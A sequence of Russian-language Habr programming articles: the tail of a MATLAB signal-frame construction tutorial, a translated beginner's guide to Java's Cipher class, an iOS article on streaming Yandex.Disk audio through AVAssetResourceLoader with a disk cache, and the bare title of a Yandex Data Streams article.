Далее формируем вектор, который состоит из наших шаблонов:
```
% linear algebra tricks:
mat_1 = pilots*ones(1, pilots_len_psudo); % rank-one matrix
resh = reshape(mat_1, pilots_len_psudo*length(pilots),1); % vectorization
```
И определяем небольшой вектор, который содержит только кусок шаблона — "хвост", не поместившийся полностью в кадр:
```
tail_len = fr_len - N_inf - length(nulls_idx) ...
- length(pilots)*pilots_len_psudo;
tail = pilots(1:tail_len); % "tail" of pilots vector
```
Получаем пилотные символы:
```
vec_pilots = [resh; tail]; % completed pilots vector that frame consists
```
Переходим к информационным символам, а именно сформируем сообщение и промодулируем его:
```
message = randi([0 M-1], N_inf, 1); % decimal information symbols
if M >= 16
info_symbols = qammod(message, M, pi/4);
else
info_symbols = pskmod(message, M, pi/4);
end
```
Всё готово! Собираем кадр:
```
%% Frame construction
frame = zeros(fr_len,1);
frame(pilot_idx) = vec_pilots;
frame(inf_ind) = info_symbols
```
Получится должно что-то такое:
```
frame =
0.00000 + 0.00000i
0.00000 + 0.00000i
1.00000 + 0.00000i
-0.70711 - 0.70711i
-0.70711 - 0.70711i
0.70711 + 0.70711i
0.00000 + 1.00000i
-0.70711 + 0.70711i
-0.70711 + 0.70711i
-1.00000 + 0.00000i
-0.70711 + 0.70711i
-0.70711 - 0.70711i
0.00000 - 1.00000i
0.70711 + 0.70711i
1.00000 + 0.00000i
0.00000 + 0.00000i
0.00000 + 1.00000i
0.70711 - 0.70711i
-0.70711 + 0.70711i
-1.00000 + 0.00000i
-0.70711 + 0.70711i
0.70711 + 0.70711i
0.00000 - 1.00000i
-0.70711 - 0.70711i
0.70711 + 0.70711i
1.00000 + 0.00000i
0.70711 - 0.70711i
0.00000 + 1.00000i
0.70711 - 0.70711i
-1.00000 + 0.00000i
0.00000 + 0.00000i
0.00000 + 0.00000i
```
"Кайф!" — подумал я довольно и закрыл ноутбук. Ушло у меня на всё про всё пару часов: включая написание кода, изучение некоторых матлабовских функций и продумывание математических трюков.
Какие выводы я тогда сделал
===========================
**Субъективные**:
* Писать код приятно и сродни поэзии!
* Написание скриптов — наиболее удобный метод исследований для области Communication and Signal Processing.
**Объективные**:
* Не надо палить из пушки по воробьям (если такая учебная цель, конечно, не стоит): использовав Simulink, мы взялись за решение простой задачи навороченным инструментом.
* GUI — это хорошо, но понимать что содержится "под капотом" — лучше.
И теперь, будучи уже далеко не студентом, я хочу сказать студенческой братии следующее:
* Дерзайте!
Пробуйте писать код, пусть даже поначалу он будет плохим. С программированием как и с любой другой деятельностью, лиха беда — начало. А начать лучше раньше: если вы ученый или даже просто технарь — рано или поздно этот навык вам понадобится.
* Требуйте!
Требуйте от преподавателей и научных руководителей прогрессивных подходов и инструментов. Если это, конечно, сколько-то возможно…
* Творите!
Где же ещё лучше всего переболеть всеми болячками новичка, как не в рамках образовательной программы? Творите и оттачивайте своё мастерство — опять же чем раньше начать, тем лучше.
Начинающие программисты всех стран, объединяйтесь!
P.S.
====
Дабы запротоколировать своё прямое отношение к студенчеству, прикладываю памятное фото 2017 года с двумя ректорами: Петером Шарффом (справа) и Альбертом Харисовичем Гильмутдиновым (слева).
Стоило закончить программу как минимум ради таких костюмов! (шучу) | https://habr.com/ru/post/464479/ | null | ru | null |
# Криптография в Java. Класс Cipher
Привет, Хабр! Представляю вашему вниманию перевод второй статьи "Java Cipher" автора Jakob Jenkov из [серии статей для начинающих](http://tutorials.jenkov.com/java-cryptography/index.html), желающих освоить основы криптографии в Java.
Оглавление:
-----------
1. [Cryptography](https://habr.com/ru/post/444764/)
2. Cipher
3. [MessageDigest](https://habr.com/ru/post/444974/)
4. [Mac](https://habr.com/ru/post/445228/)
5. [Signature](https://habr.com/ru/post/445330/)
6. [KeyPair](https://habr.com/ru/post/445560/)
7. [KeyGenerator](https://habr.com/ru/post/445560/)
8. [KeyPairGenerator](https://habr.com/ru/post/445560/)
9. [KeyStore](https://habr.com/ru/post/445786/)
10. [Keytool](https://habr.com/ru/post/446322/)
11. [Certificate](https://habr.com/ru/post/446888/)
12. [CertificateFactory](https://habr.com/ru/post/446888/)
13. [CertPath](https://habr.com/ru/post/446888/)
Java Cipher (Шифр)
==================
Класс Java Cipher (**javax.crypto.Cipher**) представляет собой алгоритм шифрования. Термин «Шифр» является стандартным термином для алгоритма шифрования в мире криптографии. Вот почему класс Java называется Шифр(*Cipher*), а не Шифратор / Дешифратор или как-то еще. Вы можете использовать экземпляр *Cipher* для шифрования и расшифровки данных в Java. В этой главе объясняется, как работает класс Cipher.
### Создание шифра
Прежде чем использовать шифр, необходимо создать экземпляр класса *Cipher*, вызывая его метод *getInstance()* с параметром, указывающим, какой тип алгоритма шифрования вы хотите использовать. Вот пример создания экземпляра Java Cipher:
```
Cipher cipher = Cipher.getInstance("AES");
```
В этом примере создается экземпляр Cipher с использованием алгоритма шифрования AES.
### Режимы шифрования
Некоторые алгоритмы шифрования могут работать в разных режимах. Режим шифрования определяет детали того, как будут зашифрованы данные. Таким образом, режим шифрования частично влияет на алгоритм шифрования. Режимы шифрования могут иногда использоваться в нескольких различных алгоритмах шифрования — как метод, который добавляется к основному алгоритму шифрования. Вот почему режимы рассматриваются отдельно от самих алгоритмов шифрования, а скорее как «дополнения» к алгоритмам шифрования. Вот некоторые из наиболее известных режимов шифрования:
* EBC — Electronic Codebook ([Режим электронной кодовой книги](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%8D%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%BE%D0%B9_%D0%BA%D0%BE%D0%B4%D0%BE%D0%B2%D0%BE%D0%B9_%D0%BA%D0%BD%D0%B8%D0%B3%D0%B8 "Режим электронной кодовой книги"))
* CBC — Cipher Block Chaining ([Режим сцепления блоков шифротекста](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%81%D1%86%D0%B5%D0%BF%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B1%D0%BB%D0%BE%D0%BA%D0%BE%D0%B2_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0 "Режим сцепления блоков шифротекста"))
* CFB — Cipher Feedback ([Режим обратной связи по шифротексту](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B9_%D1%81%D0%B2%D1%8F%D0%B7%D0%B8_%D0%BF%D0%BE_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D1%82%D0%B5%D0%BA%D1%81%D1%82%D1%83 "Режим обратной связи по шифротексту"))
* OFB — Output Feedback ([Режим обратной связи по выходу](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B9_%D1%81%D0%B2%D1%8F%D0%B7%D0%B8_%D0%BF%D0%BE_%D0%B2%D1%8B%D1%85%D0%BE%D0%B4%D1%83 "Режим обратной связи по выходу"))
* CTR — Counter ([Режим счетчика](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B6%D0%B8%D0%BC_%D1%88%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F#Counter_mode_%28CTR%29))
При создании экземпляра шифра вы можете добавить его режим к имени алгоритма шифрования. Создать экземпляр AES Cipher с использованием режима сцепления блоков — Cipher Block Chaining (CBC), можно так:
```
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
```
Поскольку режим сцепления блоков шифрования также требует «схемы дополнения», схема дополнения (*PKCS5Padding*) добавляется в конец строки имени алгоритма шифрования.
Важно знать, что не все алгоритмы и режимы шифрования поддерживаются поставщиком шифрования Java SDK по умолчанию. Для создания нужного вам экземпляра шифра с требуемым режимом и схемой заполнения может понадобиться установить сторонний провайдер, такой как Bouncy Castle.
### Инициализация шифра
Прежде чем использовать экземпляр Cipher, его необходимо инициализировать. Инициализация шифра выполняется путем вызова его метода *init()*. Метод *init()* принимает два параметра:
* Режим
* Ключ
Пример инициализации экземпляра Cipher в режиме шифрования:
```
Key key = ... // получить/создать симметричный ключ шифрования
cipher.init(Cipher.ENCRYPT_MODE, key);
```
А вот пример инициализации экземпляра Cipher уже в режиме расшифровки:
```
Key key = ... //получить/создать симметричный ключ шифрования
cipher.init(Cipher.DECRYPT_MODE, key);
```
### Шифрование и расшифровка данных
Чтобы зашифровать или расшифровать данные с помощью экземпляра Cipher, вызывается один из этих двух методов:
* `update()`
* `doFinal()`
Существует несколько переопределенных версий методов *update()* и *doFinal()*, которые принимают разные параметры. Рассмотрим наиболее часто используемые здесь. Если вам необходимо зашифровать или расшифровать один блок данных, просто вызовите *doFinal()* с данными для шифрования или расшифровки. Пример:
```
byte[] plainText = "abcdefghijklmnopqrstuvwxyz".getBytes("UTF-8");
byte[] cipherText = cipher.doFinal(plainText);
```
На самом деле код выглядит примерно так же и в случае расшифровки данных. Просто помните, что экземпляр Cipher должен быть инициализирован в режиме расшифровки. Вот как выглядит расшифровка одного блока зашифрованного текста:
```
byte[] plainText = cipher.doFinal(cipherText);
```
Если вам нужно зашифровать или расшифровать большой файл разбитый на несколько блоков, вызывается *update()* один раз для каждого блока данных и завершается вызовом метода *doFinal()* с последним блоком данных. Вот пример шифрования нескольких блоков данных:
```
byte[] data1 = "abcdefghijklmnopqrstuvwxyz".getBytes("UTF-8");
byte[] data2 = "zyxwvutsrqponmlkjihgfedcba".getBytes("UTF-8");
byte[] data3 = "01234567890123456789012345".getBytes("UTF-8");
byte[] cipherText1 = cipher.update(data1);
byte[] cipherText2 = cipher.update(data2);
byte[] cipherText3 = cipher.doFinal(data3);
```
Причина, по которой вызов *doFinal()* необходим для последнего блока данных, заключается в том, что некоторые алгоритмы шифрования должны дополнять данные, чтобы соответствовать определенному размеру блока шифра (например, 8-байтовой границе). Дополнять же промежуточные зашифрованные данные нет необходимости. Следовательно, вызывается метод *update()* для промежуточных блоков данных и вызов *doFinal()* для последнего блока данных.
При расшифровке нескольких блоков данных вы также вызываете метод *update()* для промежуточных блоков данных и метод *doFinal()* для последнего блока. Пример расшифровки нескольких блоков данных:
```
byte[] plainText1 = cipher.update(cipherText1);
byte[] plainText2 = cipher.update(cipherText2);
byte[] plainText3 = cipher.doFinal(cipherText3);
```
Опять же, экземпляр шифра должен быть инициализирован в режиме дешифровки, чтобы этот пример работал.
### Шифрование / Расшифровка части байтового массива
Методы шифрования и расшифровки класса Cipher могут шифровать или расшифровывать часть данных, хранящихся в байтовом массиве. Методу *update()* и/или *doFinal()* нужно передать смещение и длину.
```
int offset = 10;
int length = 24;
byte[] cipherText = cipher.doFinal(data, offset, length);
```
В данном примере будут зашифрованы (или расшифрованы, в зависимости от инициализации шифра) байты с 10 индекса и на 24 байта вперед.
### Шифрование / Расшифровка в существующий байтовый массив
Все приведенные в этой главе примеры шифрования и дешифрования возвращают зашифрованные или дешифрованные данные в новом байтовом массиве. Однако также возможно зашифровать или расшифровать данные в существующий байтовый массив. Это может быть полезно для уменьшения количества созданных байтовых массивов. Для этого необходимо передать целевой массив байтов в качестве параметра методу *update()* и/или *doFinal()*.
```
int offset = 10;
int length = 24;
byte[] dest = new byte[1024];
cipher.doFinal(data, offset, length, dest);
```
В этом примере данные шифруются с 10 индекса на 24 байта вперед в байтовый массив dest со смещением 0. Если вы хотите установить другое смещение для байтового массива dest, существуют версии *update()* и *doFinal()*, которые принимают дополнительный параметр смещения. Пример вызова метода *doFinal()* со смещением в массиве dest:
```
int offset = 10;
int length = 24;
byte[] dest = new byte[1024];
int destOffset = 12
cipher.doFinal(data, offset, length, dest, destOffset);
```
### Повторное использование экземпляра шифра
Инициализация экземпляра Cipher — дорогостоящая операция и хорошей идеей будет повторное использование экземпляров Cipher. К счастью, класс Cipher был разработан с учетом возможности повторного использования. Когда вы вызываете метод *doFinal()* для экземпляра Cipher, он возвращается в состояние, в котором находился сразу после инициализации. Экземпляр Cipher может затем использоваться для шифрования или дешифрования большего количества данных.
Пример повторного использования экземпляра Java Cipher:
```
Cipher cipher = Cipher.getInstance("AES");
Key key = ... //получить/создать симметричный ключ шифрования
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] data1 = "abcdefghijklmnopqrstuvwxyz".getBytes("UTF-8");
byte[] data2 = "zyxwvutsrqponmlkjihgfedcba".getBytes("UTF-8");
byte[] cipherText1 = cipher.update(data1);
byte[] cipherText2 = cipher.doFinal(data2);
byte[] data3 = "01234567890123456789012345".getBytes("UTF-8");
byte[] cipherText3 = cipher.doFinal(data3);
```
Сначала создается и инициализируется экземпляр Cipher, а затем используется для шифрования двух блоков согласованных данных. Обратите внимание на вызов *update()*, а затем *doFinal()* для этих двух блоков данных. После этого экземпляр Cipher может быть снова использован для шифрования данных. Это делается с помощью вызова *doFinal()* с третьим блоком данных. После этого вызова *doFinal()* вы можете зашифровать еще один блок данных с тем же экземпляром Java Cipher. | https://habr.com/ru/post/444814/ | null | ru | null |
# Стриминг аудио в iOS на примере Яндекс.Диск
Во время работы над проектом по стримингу аудио необходимо было добавить поддержку новых сервисов, таких как Яндекс.Диск. Работа с аудио в приложении реализована через AVPlayer, который проигрывает файлы по url и поддерживает стандартные схемы, такие как file, http, https. Все работает отлично для сервисов, в которых токен авторизации передается в url запроса, среди них DropBox, Box, Google Drive. Для таких сервисов, как Яндекс.Диск, токен авторизации передается в заголовке запроса и к нему AVPlayer доступ не предоставляет.
Поиск решения этой проблемы среди имеющегося API привели к использованию объекта resourceLoader в AVURLAsset. С его помощью мы предоставляем доступ к файлу, размещенному на удаленном ресурсе, для AVPlayer. Работает это по принципу локального HTTP прокси но с максимальным упрощением для использования.
Нужно понимать что AVPlayer использует resourceLoader в тех случаях когда сам не знает как загрузить файл. Поэтому мы создаем url c кастумной схемой и инициализируем плеер с этим url. AVPlayer не зная как загрузить ресурс передает управление resourceLoader`y.
AVAssetResourceLoader работает через AVAssetResourceLoaderDelegate для которого нужно реализовать два метода:
```
- (BOOL)resourceLoader:(AVAssetResourceLoader *)resourceLoader shouldWaitForLoadingOfRequestedResource:(AVAssetResourceLoadingRequest *)loadingRequest;
- (void)resourceLoader:(AVAssetResourceLoader *)resourceLoader didCancelLoadingRequest:(AVAssetResourceLoadingRequest *)loadingRequest;
```
Первый вызывается когда AVAssetResourceLoader начинает загрузку ресурса и передает нам AVAssetResourceLoadingRequest. В этом случае мы запоминаем запрос и начинаем загрузку данных. Если запрос уже не актуальный то AVAssetResourceLoader вызывает второй метод и мы отменяем загрузку данных.
Для начала создадим AVPlayer, используя url с кастумной схемой, назначим AVAssetResourceLoaderDelegate и очередь на которой будут вызываться методы делегата:
```
AVURLAsset *asset = [AVURLAsset URLAssetWithURL:[NSURL URLWithString:@"customscheme://host/myfile.mp3"] options:nil];
[asset.resourceLoader setDelegate:self queue:dispatch_get_main_queue()];
AVPlayerItem *item = [AVPlayerItem playerItemWithAsset:asset];
[self addObserversForPlayerItem:item];
self.player = [AVPlayer playerWithPlayerItem:playerItem];
[self addObserversForPlayer];
```
Заниматься загрузкой ресурса будет некий класс LSFilePlayerResourceLoader. Он инициализируется с url загружаемого ресурса и сессией YDSession, которая и будет непосредственно загружать файл с сервера. Хранить объекты LSFilePlayerResourceLoader мы будем в NSDictionary, а ключем будет url ресурса.
При загрузке ресурса с неизвестного источника AVAssetResourceLoader вызовет методы делегата.
**AVAssetResourceLoaderDelegate**
```
- (BOOL)resourceLoader:(AVAssetResourceLoader *)resourceLoader shouldWaitForLoadingOfRequestedResource:(AVAssetResourceLoadingRequest *)loadingRequest{
NSURL *resourceURL = [loadingRequest.request URL];
if([resourceURL.scheme isEqualToString:@"customscheme"]){
LSFilePlayerResourceLoader *loader = [self resourceLoaderForRequest:loadingRequest];
if(loader==nil){
loader = [[LSFilePlayerResourceLoader alloc] initWithResourceURL:resourceURL session:self.session];
loader.delegate = self;
[self.resourceLoaders setObject:loader forKey:[self keyForResourceLoaderWithURL:resourceURL]];
}
[loader addRequest:loadingRequest];
return YES;
}
return NO;
}
- (void)resourceLoader:(AVAssetResourceLoader *)resourceLoader didCancelLoadingRequest:(AVAssetResourceLoadingRequest *)loadingRequest{
LSFilePlayerResourceLoader *loader = [self resourceLoaderForRequest:loadingRequest];
[loader removeRequest:loadingRequest];
}
```
В начале метода загрузки мы проверяем что схема соответствует нашей. Далее берем LSFilePlayerResourceLoader из кеша или создаем новый и добавляем к нему запрос на загрузку ресурса.
Интерфейс нашего LSFilePlayerResourceLoader выглядит так:
**LSFilePlayerResourceLoader**
```
@interface LSFilePlayerResourceLoader : NSObject
@property (nonatomic,readonly,strong)NSURL *resourceURL;
@property (nonatomic,readonly)NSArray *requests;
@property (nonatomic,readonly,strong)YDSession *session;
@property (nonatomic,readonly,assign)BOOL isCancelled;
@property (nonatomic,weak)id delegate;
- (instancetype)initWithResourceURL:(NSURL \*)url session:(YDSession \*)session;
- (void)addRequest:(AVAssetResourceLoadingRequest \*)loadingRequest;
- (void)removeRequest:(AVAssetResourceLoadingRequest \*)loadingRequest;
- (void)cancel;
@end
@protocol LSFilePlayerResourceLoaderDelegate
@optional
- (void)filePlayerResourceLoader:(LSFilePlayerResourceLoader \*)resourceLoader didFailWithError:(NSError \*)error;
- (void)filePlayerResourceLoader:(LSFilePlayerResourceLoader \*)resourceLoader didLoadResource:(NSURL \*)resourceURL;
@end
```
Он содержит методы для добавления/удаления запроса в очередь и метод для отмены всех запросов. LSFilePlayerResourceLoaderDelegate сообщит когда ресурс полностью загружен или возникла ошибка при загрузке.
При добавлении запроса в очередь, вызовом addRequest, мы запоминаем его в pendingRequests и стартуем операцию загрузки данных:
**Добавление запроса**
```
- (void)addRequest:(AVAssetResourceLoadingRequest *)loadingRequest{
if(self.isCancelled==NO){
NSURL *interceptedURL = [loadingRequest.request URL];
[self startOperationFromOffset:loadingRequest.dataRequest.requestedOffset length:loadingRequest.dataRequest.requestedLength];
[self.pendingRequests addObject:loadingRequest];
}
else{
if(loadingRequest.isFinished==NO){
[loadingRequest finishLoadingWithError:[self loaderCancelledError]];
}
}
}
```
В начале мы создавали новую операцию загрузки данных для каждого поступающего запроса. В итоге получалось что файл загружался в три-четыре потока при этом данные пересекались. Но потом выяснили, что как только AVAssetResourceLoader начинает новый запрос предыдущие для него уже не актуальны. Это дает нам возможность смело отменять все выполняющиеся операции загрузки данных как только мы стартуем новую, что экономит трафик.
Операция загрузки данных с сервера разбита на две. Первая (contentInfoOperation) получает информацию о размере и типе файла. Вторая (dataOperation) — получает данные файла со смещением. Смещение и размер запрашиваемых данных мы вычитываем из объекта класса AVAssetResourceLoadingDataRequest.
**Операция загрузки данных**
```
- (void)startOperationFromOffset:(unsigned long long)requestedOffset
length:(unsigned long long)requestedLength{
[self cancelAllPendingRequests];
[self cancelOperations];
__weak typeof (self) weakSelf = self;
void(^failureBlock)(NSError *error) = ^(NSError *error) {
[weakSelf performBlockOnMainThreadSync:^{
if(weakSelf && weakSelf.isCancelled==NO){
[weakSelf completeWithError:error];
}
}];
};
void(^loadDataBlock)(unsigned long long off, unsigned long long len) = ^(unsigned long long offset,unsigned long long length){
[weakSelf performBlockOnMainThreadSync:^{
NSString *bytesString = [NSString stringWithFormat:@"bytes=%lld-%lld",offset,(offset+length-1)];
NSDictionary *params = @{@"Range":bytesString};
id req =
[weakSelf.session partialContentForFileAtPath:weakSelf.path withParams:params response:nil
data:^(UInt64 recDataLength, UInt64 totDataLength, NSData \*recData) {
[weakSelf performBlockOnMainThreadSync:^{
if(weakSelf && weakSelf.isCancelled==NO){
LSDataResonse \*dataResponse = [LSDataResonse responseWithRequestedOffset:offset
requestedLength:length
receivedDataLength:recDataLength
data:recData];
[weakSelf didReceiveDataResponse:dataResponse];
}
}];
}
completion:^(NSError \*err) {
if(err){
failureBlock(err);
}
}];
weakSelf.dataOperation = req;
}];
};
if(self.contentInformation==nil){
self.contentInfoOperation = [self.session fetchStatusForPath:self.path completion:^(NSError \*err, YDItemStat \*item) {
if(weakSelf && weakSelf.isCancelled==NO){
if(err==nil){
NSString \*mimeType = item.path.mimeTypeForPathExtension;
CFStringRef contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType,(\_\_bridge CFStringRef)(mimeType),NULL);
unsigned long long contentLength = item.size;
weakSelf.contentInformation = [[LSContentInformation alloc] init];
weakSelf.contentInformation.byteRangeAccessSupported = YES;
weakSelf.contentInformation.contentType = CFBridgingRelease(contentType);
weakSelf.contentInformation.contentLength = contentLength;
[weakSelf prepareDataCache];
loadDataBlock(requestedOffset,requestedLength);
weakSelf.contentInfoOperation = nil;
}
else{
failureBlock(err);
}
}
}];
}
else{
loadDataBlock(requestedOffset,requestedLength);
}
}
```
После получения информации о файле на сервере мы создаем временный файл, в который будем записывать данные из сети и считывать их по мере надобности.
**Инициализация дискового кеша**
```
- (void)prepareDataCache{
self.cachedFilePath = [[self class] pathForTemporaryFile];
NSError *error = nil;
if ([[NSFileManager defaultManager] fileExistsAtPath:self.cachedFilePath] == YES){
[[NSFileManager defaultManager] removeItemAtPath:self.cachedFilePath error:&error];
}
if (error == nil && [[NSFileManager defaultManager] fileExistsAtPath:self.cachedFilePath] == NO) {
NSString *dirPath = [self.cachedFilePath stringByDeletingLastPathComponent];
[[NSFileManager defaultManager] createDirectoryAtPath:dirPath
withIntermediateDirectories:YES
attributes:nil
error:&error];
if (error == nil) {
[[NSFileManager defaultManager] createFileAtPath:self.cachedFilePath
contents:nil
attributes:nil];
self.writingFileHandle = [NSFileHandle fileHandleForWritingAtPath:self.cachedFilePath];
@try {
[self.writingFileHandle truncateFileAtOffset:self.contentInformation.contentLength];
[self.writingFileHandle synchronizeFile];
}
@catch (NSException *exception) {
NSError *error = [[NSError alloc] initWithDomain:LSFilePlayerResourceLoaderErrorDomain
code:-1
userInfo:@{NSLocalizedDescriptionKey:@"can not write to file"}];
[self completeWithError:error];
return;
}
self.readingFileHandle = [NSFileHandle fileHandleForReadingAtPath:self.cachedFilePath];
}
}
if (error != nil) {
[self completeWithError:error];
}
}
```
После получения пакета данных мы сначала кешируем его на диск и обновляем размер полученных данных, хранимый в переменной receivedDataLength. В конце оповещаем запросы находящиеся в очереди о новой порции данных.
**Получение пакета данных**
```
- (void)didReceiveDataResponse:(LSDataResonse *)dataResponse{
[self cacheDataResponse:dataResponse];
self.receivedDataLength=dataResponse.currentOffset;
[self processPendingRequests];
}
```
Метод кеширования записывает данные в файл с нужным смещением.
**Кеширование данных**
```
- (void)cacheDataResponse:(LSDataResonse *)dataResponse{
unsigned long long offset = dataResponse.dataOffset;
@try {
[self.writingFileHandle seekToFileOffset:offset];
[self.writingFileHandle writeData:dataResponse.data];
[self.writingFileHandle synchronizeFile];
}
@catch (NSException *exception) {
NSError *error = [[NSError alloc] initWithDomain:LSFilePlayerResourceLoaderErrorDomain
code:-1
userInfo:@{NSLocalizedDescriptionKey:@"can not write to file"}];
[self completeWithError:error];
}
}
```
Метод чтения делает обратную операцию.
**Чтение данных из кеша**
```
- (NSData *)readCachedData:(unsigned long long)startOffset length:(unsigned long long)numberOfBytesToRespondWith{
@try {
[self.readingFileHandle seekToFileOffset:startOffset];
NSData *data = [self.readingFileHandle readDataOfLength:numberOfBytesToRespondWith];
return data;
}
@catch (NSException *exception) {}
return nil;
}
```
Для оповещения запросов находящихся в очереди о новой порции данных мы сначала записываем информацию о контенте, а затем данные из кеша. Если все данные для запроса были записаны, то мы удаляем его из очереди.
**Оповещение запросов**
```
- (void)processPendingRequests{
NSMutableArray *requestsCompleted = [[NSMutableArray alloc] init];
for (AVAssetResourceLoadingRequest *loadingRequest in self.pendingRequests){
[self fillInContentInformation:loadingRequest.contentInformationRequest];
BOOL didRespondCompletely = [self respondWithDataForRequest:loadingRequest.dataRequest];
if (didRespondCompletely){
[loadingRequest finishLoading];
[requestsCompleted addObject:loadingRequest];
}
}
[self.pendingRequests removeObjectsInArray:requestsCompleted];
}
```
В методе заполнения информации о контенте мы устанавливаем размер, тип, флаг доступа к произвольному диапазону данных.
**Заполнение информации о контенте**
```
- (void)fillInContentInformation:(AVAssetResourceLoadingContentInformationRequest *)contentInformationRequest{
if (contentInformationRequest == nil || self.contentInformation == nil){
return;
}
contentInformationRequest.byteRangeAccessSupported = self.contentInformation.byteRangeAccessSupported;
contentInformationRequest.contentType = self.contentInformation.contentType;
contentInformationRequest.contentLength = self.contentInformation.contentLength;
}
```
И основной метод, в котором мы считываем данные из кеша и передаем их запросам из очереди.
**Заполнение данных**
```
- (BOOL)respondWithDataForRequest:(AVAssetResourceLoadingDataRequest *)dataRequest{
long long startOffset = dataRequest.requestedOffset;
if (dataRequest.currentOffset != 0){
startOffset = dataRequest.currentOffset;
}
// Don't have any data at all for this request
if (self.receivedDataLength < startOffset){
return NO;
}
// This is the total data we have from startOffset to whatever has been downloaded so far
NSUInteger unreadBytes = self.receivedDataLength - startOffset;
// Respond with whatever is available if we can't satisfy the request fully yet
NSUInteger numberOfBytesToRespondWith = MIN(dataRequest.requestedLength, unreadBytes);
BOOL didRespondFully = NO;
NSData *data = [self readCachedData:startOffset length:numberOfBytesToRespondWith];
if(data){
[dataRequest respondWithData:data];
long long endOffset = startOffset + dataRequest.requestedLength;
didRespondFully = self.receivedDataLength >= endOffset;
}
return didRespondFully;
}
```
На этом работа с загрузчиком закончена. Осталось немного изменить SDK Яндекс.Диска, для того чтобы мы могли загружать данные произвольного диапазона из файла на сервере. Изменений всего три.
Первое — нужно добавить для каждого запроса в YDSession возможность отмены. Для этого добавляем новый протокол YDSessionRequest и устанавливаем его в качестве возвращаемого значения в запросах.
**YDSession.h**
```
@protocol YDSessionRequest
- (void)cancel;
@end
- (id)fetchDirectoryContentsAtPath:(NSString \*)path completion:(YDFetchDirectoryHandler)block;
- (id)fetchStatusForPath:(NSString \*)path completion:(YDFetchStatusHandler)block;
```
Второе — добавляем метод загрузки данных произвольного диапазона из файла на сервере.
**YDSession.h**
```
- (id)partialContentForFileAtPath:(NSString \*)srcRemotePath
withParams:(NSDictionary \*)params
response:(YDDidReceiveResponseHandler)response
data:(YDPartialDataHandler)data
completion:(YDHandler)completion;
```
**YDSession.m**
```
- (id)partialContentForFileAtPath:(NSString \*)srcRemotePath
withParams:(NSDictionary \*)params
response:(YDDidReceiveResponseHandler)response
data:(YDPartialDataHandler)data
completion:(YDHandler)completion{
return [self downloadFileFromPath:srcRemotePath toFile:nil withParams:params response:response data:data progress:nil completion:completion];
}
- (id)downloadFileFromPath:(NSString \*)path
toFile:(NSString \*)aFilePath
withParams:(NSDictionary \*)params
response:(YDDidReceiveResponseHandler)responseBlock
data:(YDPartialDataHandler)dataBlock
progress:(YDProgressHandler)progressBlock
completion:(YDHandler)completionBlock{
NSURL \*url = [YDSession urlForDiskPath:path];
if (!url) {
completionBlock([NSError errorWithDomain:kYDSessionBadArgumentErrorDomain
code:0
userInfo:@{@"getPath": path}]);
return nil;
}
BOOL skipReceivedData = NO;
if(aFilePath==nil){
aFilePath = [[self class] pathForTemporaryFile];
skipReceivedData = YES;
}
NSURL \*filePath = [YDSession urlForLocalPath:aFilePath];
if (!filePath) {
completionBlock([NSError errorWithDomain:kYDSessionBadArgumentErrorDomain
code:1
userInfo:@{@"toFile": aFilePath}]);
return nil;
}
YDDiskRequest \*request = [[YDDiskRequest alloc] initWithURL:url];
request.fileURL = filePath;
request.params = params;
request.skipReceivedData = skipReceivedData;
[self prepareRequest:request];
NSURL \*requestURL = [request.URL copy];
request.callbackQueue = \_callBackQueue;
request.didReceiveResponseBlock = ^(NSURLResponse \*response, BOOL \*accept) {
if(responseBlock){
responseBlock(response);
}
};
request.didGetPartialDataBlock = ^(UInt64 receivedDataLength, UInt64 expectedDataLength, NSData \*data){
if(progressBlock){
progressBlock(receivedDataLength,expectedDataLength);
}
if(dataBlock){
dataBlock(receivedDataLength,expectedDataLength,data);
}
};
request.didFinishLoadingBlock = ^(NSData \*receivedData) {
if(skipReceivedData){
[[self class] removeTemporaryFileAtPath:aFilePath];
}
NSDictionary \*userInfo = @{@"URL": requestURL,
@"receivedDataLength": @(receivedData.length)};
[[NSNotificationCenter defaultCenter] postNotificationInMainQueueWithName:kYDSessionDidDownloadFileNotification
object:self
userInfo:userInfo];
completionBlock(nil);
};
request.didFailBlock = ^(NSError \*error) {
if(skipReceivedData){
[[self class] removeTemporaryFileAtPath:aFilePath];
}
NSDictionary \*userInfo = @{@"URL": requestURL};
[[NSNotificationCenter defaultCenter] postNotificationInMainQueueWithName:kYDSessionDidFailToDownloadFileNotification
object:self
userInfo:userInfo];
completionBlock([NSError errorWithDomain:error.domain code:error.code userInfo:userInfo]);
};
[request start];
NSDictionary \*userInfo = @{@"URL": request.URL};
[[NSNotificationCenter defaultCenter] postNotificationInMainQueueWithName:kYDSessionDidStartDownloadFileNotification
object:self
userInfo:userInfo];
return (id)request;
}
```
И третье, что нужно исправить — это изменить очередь колбеков с параллельной на последовательную, иначе блоки данных будут приходить не в том порядке, в котором мы запрашивали, и пользователь будет слышать рывки при проигрывании музыки.
**YDSession.m**
```
- (instancetype)initWithDelegate:(id)delegate callBackQueue:(dispatch\_queue\_t)queue{
self = [super init];
if (self) {
\_delegate = delegate;
\_callBackQueue = queue;
}
return self;
}
YDDiskRequest \*request = [[YDDiskRequest alloc] initWithURL:url];
request.fileURL = filePath;
request.params = params;
[self prepareRequest:request];
request.callbackQueue = \_callBackQueue;
```
Исходный код примера на [GitHub](https://github.com/leshkoapps/AVAssetResourceLoader). | https://habr.com/ru/post/249605/ | null | ru | null |
# Репликация логов в Object Storage при помощи Yandex Data Streams
